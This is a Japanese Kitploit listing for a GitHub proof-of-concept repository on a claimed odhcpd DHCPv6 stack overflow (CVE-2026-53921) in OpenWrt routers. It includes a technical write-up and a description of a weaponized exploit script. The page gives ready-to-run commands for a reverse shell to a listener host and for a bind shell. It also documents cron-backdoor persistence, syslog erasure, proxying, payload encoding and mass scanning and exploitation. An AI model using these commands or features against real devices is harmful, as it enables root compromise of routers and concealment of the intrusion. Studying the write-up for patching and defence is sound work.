Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd スタックオーバーフロー (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE向けの詳細かつ包括的な脆弱性Write-Upと検証ツール & マルチエクスプロイト。デュアルベクター (IA_NA/IA_PD) オーバーフローを備え、MIPS/ARMシェルコード、ROPチェーン、SOCKS5プロキシ、永続化、ログ消去、大規模スキャンに対応。倫理的に使用し、法的に遵守してください。 🔒 | Kitploit
ツール/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
組み込みシステムセキュリティ偵察エクスプロイトフレームワークIoTセキュリティ脆弱性分析エクスプロイトポストエクスプロイトレッドチーミングシェルコード生成

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ペイロード開発
バイナリエクスプロイト
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

CVE-2026-53921 – odhcpd スタックオーバーフロー (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE向けの詳細かつ包括的な脆弱性Write-Upと検証ツール & マルチエクスプロイト。デュアルベクター (IA_NA/IA_PD) オーバーフローを備え、MIPS/ARMシェルコード、ROPチェーン、SOCKS5プロキシ、永続化、ログ消去、大規模スキャンに対応。倫理的に使用し、法的に遵守してください。 🔒

リポジトリを見る
614211日前未レビュー

CVE-2026-53921

CVE-2026-53921 – odhcpd スタックオーバーフロー

CVE CVSS OpenWrt

  • 教育および許可されたテストのみを目的としています。不正使用は違法です。**

脆弱性の概要

CVE-2026-53921 は、OpenWrt の odhcpd デーモン(デフォルトの DHCPv6/DHCPv4/RA サーバー)における重大な スタックバッファオーバーフロー です。

仕組み

この脆弱性は odhcpd の DHCPv6 メッセージ処理コード、具体的には build_ia() および dhcpv6_ia_handle_IAs() 関数に存在します。

技術的詳細

1. 根本原因

このバグは DHCPv6 Reply パケットの シリアライズ(パッキング)中に発生します。odhcpd がクライアントの要求に応答する際、適切な境界チェックを行わずに 512 バイト の固定サイズスタックバッファに応答を構築します。

// 脆弱なコードの簡略表現

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // 書き込み前の境界チェックなし
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. オーバーフローのトリガー

攻撃者は以下の内容を含む DHCPv6 Request(または Solicit)を送信します:

  • 5 個以上 の IA_NA(非一時アドレス用 Identity Association)オプション。それぞれに IAAddress サブオプションが含まれる。
  • 22 個以上 の IA_PD(プレフィックス委任用 Identity Association)オプション。

odhcpd が Reply を構築する際、各オプションがスタック領域を消費します。蓄積されたデータが 512 バイト を超えると、オーバーフローが発生します。

3. 2 つのオーバーフローベクター


ベクター トリガー オーバーフロー箇所


サイト 1 IPv6 アドレス付きの build_ia() for IA_NA 5 個の IA_NA オプション

サイト 2 22 個の IA_PD オプション build_ia() for IA_PD

根本原因は同一ですが、オーバーフローは異なるコードパスで発生するため、両方のベクターが同様に悪用可能です。

4. メモリレイアウト

スタックレイアウト(簡略化):

+-------------------+  <-- 高アドレス
|    リターンアドレス |  ← 攻撃者が制御する値で上書きされる
+-------------------+
|  保存されたフレームポインタ  |
+-------------------+
|  ローカル変数      |  ← 512 バイトバッファ
+-------------------+  <-- 低アドレス

攻撃者は保存されたリターンアドレスを上書きし、メモリ内の自身のシェルコードを指すようにします。

5. 悪用の要件


要件 説明


ネットワークアクセス 攻撃者はターゲットへの IPv6 接続 が必要

認証 なし -- 未認証攻撃

権限 odhcpd は root として実行されるため、 RCE によりシステム全体の制御が可能

対象サービス UDP ポート 547(DHCPv6)が開いている 必要がある

6. シェルコードの配置

実際のエクスプロイトでは、攻撃者のシェルコードは IAAddress の IPv6 アドレスフィールド(IA_NA あたり 16 バイト)に配置されます。細工されたパケットは、シェルコード、NOP スレッド、リターンアドレスをこれらのフィールドに詰め込みます。

細工された IA_NA 構造:

+-------------------+
| IA_NA ヘッダー      | (12 バイト)
+-------------------+
| IAAddress 1       | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 2       | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 3       | ← NOP スレッド + シェルコード
+-------------------+
| IAAddress 4       | ← リターンアドレス
+-------------------+
| IAAddress 5       | ← リターンアドレス
+-------------------+

7. 影響の連鎖

細工された DHCPv6 リクエスト
         ↓
odhcpd が IA_NA/IA_PD オプションを処理
         ↓
512 バイトのスタックバッファがオーバーフロー
         ↓
リターンアドレスが上書きされる
         ↓
CPU がシェルコードにジャンプ
         ↓
リバースシェル / バインドシェル / RCE
         ↓
システム全体の侵害(root 権限)

8. 攻撃ベクターと緩和状況

バージョン ステータス RCE 可能?


odhcpd < e432dd6 脆弱 [+] はい OpenWrt < 24.10.8 脆弱 [+] はい OpenWrt < 25.12.5 脆弱 [+] はい OpenWrt 24.10.8+ 修正済み [-] いいえ OpenWrt 25.12.5+ 修正済み [-] いいえ odhcpd master + e432dd6 修正済み [-] いいえ

9. 実世界での悪用

この脆弱性が特に危険な理由:

  • odhcpd は OpenWrt インストールでデフォルトで有効になっています。
  • 認証は不要です -- 同じ IPv6 セグメント上の任意のデバイスが攻撃できます。
  • バグはリクエスト処理パスにあります。
  • スタックカナリアと ASLR は、組み込み MIPS/ARM デバイスにはほとんど存在しません。
  • このエクスプロイトは、多くの組み込み環境で一般的な防御を回避できます。

影響を受けるバージョン

コンポーネント脆弱なバージョン修正済み
odhcpd(master ブランチ)コミット e432dd6 より前e432dd6 以降
OpenWrt リリース< 24.10.8
< 25.12.5
24.10.8 & 25.12.5

ツール

このリポジトリは 2 つの独立したスクリプト を提供します:

スクリプト目的エクスプロイトコード安全性
verifier.py非侵入型の脆弱性チェック[-] なし[+] 安全
exploit.py完全な武器化エクスプロイト[+] あり[!] 危険

verifier.py – 脆弱性チェッカー

  • 標準の DHCPv6 Solicit を送信してサービスがアクティブか確認します。
  • HTTP/SSH バナーを読み取り、OpenWrt のバージョンを検出します。
  • バージョンを既知の脆弱な範囲と比較します。
  • オーバーフローペイロードやシェルコードは 送信しません。

exploit.py – 完全なエクスプロイト

  • デュアルオーバーフローベクター:IA_NA(サイト1)と IA_PD(サイト2)。
  • 自動アーキテクチャ検出(MIPS / ARM)。
  • MIPS ビッグエンディアンのリバース & バインドシェルコード。
  • SOCKS5 プロキシ のサポート。
  • 永続化(cron バックドア)と ログ消去。
  • スレッド化されたスキャンと大量エクスプロイト。
  • オプションのペイロードエンコード(XOR)。

インストール

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#注:両方のスクリプトは、生の IPv6 パケットを作成するために root 権限が必要です。

使用方法

Verifier – ターゲットが脆弱かどうかを確認する

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – リバースシェルを取得する(違法行為には使用しないでください、テスト目的のみ)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

コマンドラインオプション

verifier.py

引数説明
-u, --targetターゲット IPv6 アドレス(必須)
-i, --ifaceネットワークインターフェース(デフォルト:eth0)

exploit.py

引数説明
-u, --targetターゲット IPv6 アドレス
-l, --listターゲットのリストを含むファイル
-i, --ifaceネットワークインターフェース(デフォルト:eth0)
--lhostリスナー IP(必須)
--lportリスナーポート(デフォルト:4444)
--vectorsite1、site2、または both(デフォルト:both)
--offsetスタックオフセット(デフォルト:512)
--ret16 進数のリターンアドレス(例:0x7ffff000)
--archmips または arm を強制(省略時は自動検出)
--payloadreverse または bind(デフォルト:reverse)
--encodenone または xor(デフォルト:none)
--proxy-hostSOCKS5 プロキシ IP
--proxy-portSOCKS5 プロキシポート(デフォルト:1080)
--persistencecron バックドアをインストール
--clear-logs悪用後に syslog を消去
--scan-onlyターゲットをスキャンのみ行い、悪用しない
--threadsスキャン用のスレッド数(デフォルト:5)
--verbose詳細ログ

使用例

1. ターゲットのリストをスキャンする

sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. バインドシェルで単一のターゲットを悪用する
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. SOCKS5 プロキシ + 永続化 + ログ消去を使用する
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

緩和策

OpenWrt を 24.10.8 または 25.12.5 以降にアップグレードしてください。

opkg update
opkg upgrade odhcpd

参考資料

公式ソース

  • OpenWrt セキュリティアドバイザリ(GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd の両方のオーバーフローベクターを網羅した詳細なアドバイザリ。

  • CVE-2026-53921 NVD エントリ https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 公式脆弱性データベースのエントリ。

  • OpenWrt 24.10.8 リリースノート https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 ブランチの公式リリース発表。

  • OpenWrt 25.12.5 リリースノート https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 ブランチの公式リリース発表。

同じリリースで修正された関連 CVE

24.10.8 および 25.12.5 リリースは、CVE-2026-53921 以外にも複数の odhcpd 脆弱性に対処しています [citation:9]:

ツールをダウンロード